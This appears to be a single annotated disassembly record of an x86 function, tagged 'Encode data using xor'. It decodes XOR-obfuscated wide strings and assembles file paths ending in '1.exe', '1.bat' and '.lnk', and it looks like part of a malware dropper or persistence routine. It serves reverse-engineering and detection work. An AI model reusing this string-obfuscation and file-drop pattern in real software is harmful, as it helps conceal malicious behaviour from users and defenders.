Function at 0x1002b63c
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x8e0
mov ebx, dword [esp + 0x8f4]
movzx eax, word [0x10042538]
mov word [esp + 0x10], ax
movsd xmm0, qword [str..lnk]
movsd qword [esp + 8], xmm0
lea ebp, [esp + 0x6d8]
push 0x208
push 0
push ebp
call fcn.10031f20
add esp, 0xc
mov ecx, esp
call fcn.10013ddc
push ebx
call fcn.1002bc0a
add esp, 4
mov esi, eax
test eax, eax
je 0x1002b6c1
push ebp
push ebx
call fcn.100284f7
add esp, 8
mov edi, esp
mov ecx, edi
push ebx
call fcn.10013e6e
mov ecx, edi
push ebp
call fcn.10014114
lea eax, [esp + 8]
mov ecx, edi
push eax
call fcn.10014114
jmp 0x1002b791
lea edi, [esp + 0xc0]
mov ecx, edi
call fcn.10013ddc
push edi
push ebx
call fcn.1002bcd6
add esp, 8
cmp dword [edi + 4], 0
je 0x1002b748
lea edi, [esp + 0x2c8]
push 0x208
push 0
push edi
call fcn.10031f20
add esp, 0xc
push dword [esp + 0xc0]
push edi
call fcn.10002fb0
mov ecx, esp
push dword [esp + 0xc0]
call fcn.10013e6e
push edi
call fcn.10002bee
cmp word [esp + eax*2 + 0x2c6], 0x5c
jne 0x1002b732
push edi
call fcn.10002bee
mov word [esp + eax*2 + 0x2c6], 0
push 0x5c
push edi
call fcn.100323bb
add esp, 8
test eax, eax
je 0x1002b765
add eax, 2
mov ebp, eax
jmp 0x1002b76f
lea ebp, [esp + 0x6d8]
push ebp
push ebx
call fcn.100284f7
add esp, 8
mov edi, esp
mov ecx, edi
push ebx
call fcn.10013e6e
jmp 0x1002b771
push ebp
push ebx
call fcn.100284f7
add esp, 8
mov edi, esp
mov ecx, edi
push ebp
call fcn.10014114
lea eax, [esp + 8]
mov ecx, edi
push eax
call fcn.10014114
lea ecx, [esp + 0xc0]
call fcn.10013eba
lea ebx, [esp + 0xbc]
mov dword [ebx], 0xa0
lea edi, [esp + 0xb4]
mov ecx, edi
call fcn.10013ddc
mov ecx, edi
push ebx
call fcn.10013e6e
mov ecx, edi
push 0x10042ca0
call fcn.10014114
lea ebx, [esp + 0x2c8]
push 0x410
push 0
push ebx
call fcn.10031f20
add esp, 0xc
test esi, esi
je 0x1002b875
push 0x63
call fcn.1001a2aa
add esp, 4
mov edi, eax
push 0x383
call fcn.1001a2aa
add esp, 4
movaps xmm0, xmmword [0x10042100]
movups xmmword [esp + 0xd0], xmm0
movaps xmm0, xmmword [0x10042110]
movups xmmword [esp + 0xe0], xmm0
mov word [esp + 0x11e], 0
movaps xmm0, xmmword [0x10042120]
movups xmmword [esp + 0xc0], xmm0
xor ecx, ecx
inc ecx
lea edx, [ecx - 0x1025]
xor word [esp + ecx*2 + 0xc0], dx
inc ecx
cmp ecx, 0x2f
jne 0x1002b832
add edi, 0xa
add eax, 0x64
lea ecx, [esp + 0xc0]
mov word [ecx + 0x5e], 0
push edi
push eax
push str.1.exe
push 0x10048f60
push ecx
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
jmp 0x1002b8fc
push 0x383
call fcn.1001a2aa
add esp, 4
movaps xmm0, xmmword [0x10042130]
movups xmmword [esp + 0xd0], xmm0
mov dword [esp + 0xe0], 0xef88efce
mov word [esp + 0xe4], 0xefed
mov word [esp + 0x10a], 0
movaps xmm0, xmmword [0x10042140]
movups xmmword [esp + 0xc0], xmm0
xor ecx, ecx
inc ecx
lea edx, [ecx - 0x1025]
xor word [esp + ecx*2 + 0xc0], dx
inc ecx
cmp ecx, 0x25
jne 0x1002b8c2
add eax, 0x64
lea ecx, [esp + 0xc0]
mov word [ecx + 0x4a], 0
push eax
push str.1.bat
push 0x10048f60
push ecx
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov ebx, dword [esp + 0x8fc]
lea ebp, [esp + 0xc0]
push 0x208
push 0
push ebp
call fcn.10031f20
add esp, 0xc
mov dword [esp + 0x24], 0xefe4efc6
mov word [esp + 0x3a], 0
movaps xmm0, xmmword [0x10042150]
movups xmmword [esp + 0x14], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x14], cx
inc eax
cmp eax, 0x13
jne 0x1002b938
lea edi, [esp + 0x14]
mov word [edi + 0x26], 0
push 0x208
push ebp
push edi
call fcn.100033c4
push dword [esp]
call fcn.10014eaa
cmp eax, 0xffffffff
je 0x1002ba4e
cmp ebx, 1
jne 0x1002bbec
push dword [esp]
call fcn.100034a8
push dword [esp]
call fcn.100034a8
movaps xmm0, xmmword [0x10042160]
test esi, esi
je 0x1002bb2f
movups xmmword [esp + 0x24], xmm0
movaps xmm0, xmmword [0x10042170]
movups xmmword [esp + 0x34], xmm0
mov dword [esp + 0x44], 0xefdaefc1
mov dword [esp + 0x48], 0xef9aef91
mov dword [esp + 0x4c], 0xeff8ef9b
mov word [esp + 0x8a], 0
movaps xmm0, xmmword [0x10042180]
movups xmmword [esp + 0x14], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x14], cx
inc eax
cmp eax, 0x3b
jne 0x1002b9da
xor eax, eax
mov word [esp + 0x8a], ax
mov dword [esp + 0x9c], 0xefe4efc6
mov word [esp + 0xb2], ax
movaps xmm0, xmmword [0x10042150]
movups xmmword [esp + 0x8c], xmm0
xor eax, eax
inc eax
lea edx, [esp + 0x2c8]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x8c], cx
inc eax
cmp eax, 0x13
jne 0x1002ba21
lea eax, [esp + 0x8c]
mov word [eax + 0x26], 0
mov ecx, 7
push ecx
push ecx
jmp 0x1002bbdd
movaps xmm0, xmmword [0x10042160]
test esi, esi
je 0x1002babf
movups xmmword [esp + 0x24], xmm0
movaps xmm0, xmmword [0x10042170]
movups xmmword [esp + 0x34], xmm0
mov dword [esp + 0x44], 0xefdaefc1
mov dword [esp + 0x48], 0xef9aef91
mov dword [esp + 0x4c], 0xeff8ef9b
mov word [esp + 0x8a], 0
movaps xmm0, xmmword [0x10042180]
movups xmmword [esp + 0x14], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x14], cx
inc eax
cmp eax, 0x3b
jne 0x1002ba9b
mov word [esp + 0x8a], 0
mov eax, 7
push eax
push eax
jmp 0x1002bb20
movups xmmword [esp + 0x24], xmm0
movaps xmm0, xmmword [0x10042170]
movups xmmword [esp + 0x34], xmm0
mov dword [esp + 0x44], 0xefdaefc1
mov dword [esp + 0x48], 0xef9aef91
mov dword [esp + 0x4c], 0xeff8ef9b
mov word [esp + 0x8a], 0
movaps xmm0, xmmword [0x10042180]
movups xmmword [esp + 0x14], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x14], cx
inc eax
cmp eax, 0x3b
jne 0x1002bb01
mov word [esp + 0x8a], 0
push 7
push 4
push edi
lea eax, [esp + 0x2d4]
push eax
push ebp
jmp 0x1002bbe0
movups xmmword [esp + 0x24], xmm0
movaps xmm0, xmmword [0x10042170]
movups xmmword [esp + 0x34], xmm0
mov dword [esp + 0x44], 0xefdaefc1
mov dword [esp + 0x48], 0xef9aef91
mov dword [esp + 0x4c], 0xeff8ef9b
mov word [esp + 0x8a], 0
movaps xmm0, xmmword [0x10042180]
movups xmmword [esp + 0x14], xmm0
xor eax, eax
inc eax
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x14], cx
inc eax
cmp eax, 0x3b
jne 0x1002bb71
xor eax, eax
mov word [esp + 0x8a], ax
mov dword [esp + 0x9c], 0xefe4efc6
mov word [esp + 0xb2], ax
movaps xmm0, xmmword [0x10042150]
movups xmmword [esp + 0x8c], xmm0
xor eax, eax
inc eax
lea edx, [esp + 0x2c8]
lea ecx, [eax - 0x1025]
xor word [esp + eax*2 + 0x8c], cx
inc eax
cmp eax, 0x13
jne 0x1002bbb8
lea eax, [esp + 0x8c]
mov word [eax + 0x26], 0
push 7
push 4
push edi
push edx
push eax
push dword [esp + 0x14]
call fcn.1001a414
add esp, 0x18
lea ecx, [esp + 0xb4]
call fcn.10013eba
mov ecx, esp
call fcn.10013eba
add esp, 0x8e0
pop esi
pop edi
pop ebx
pop ebp
ret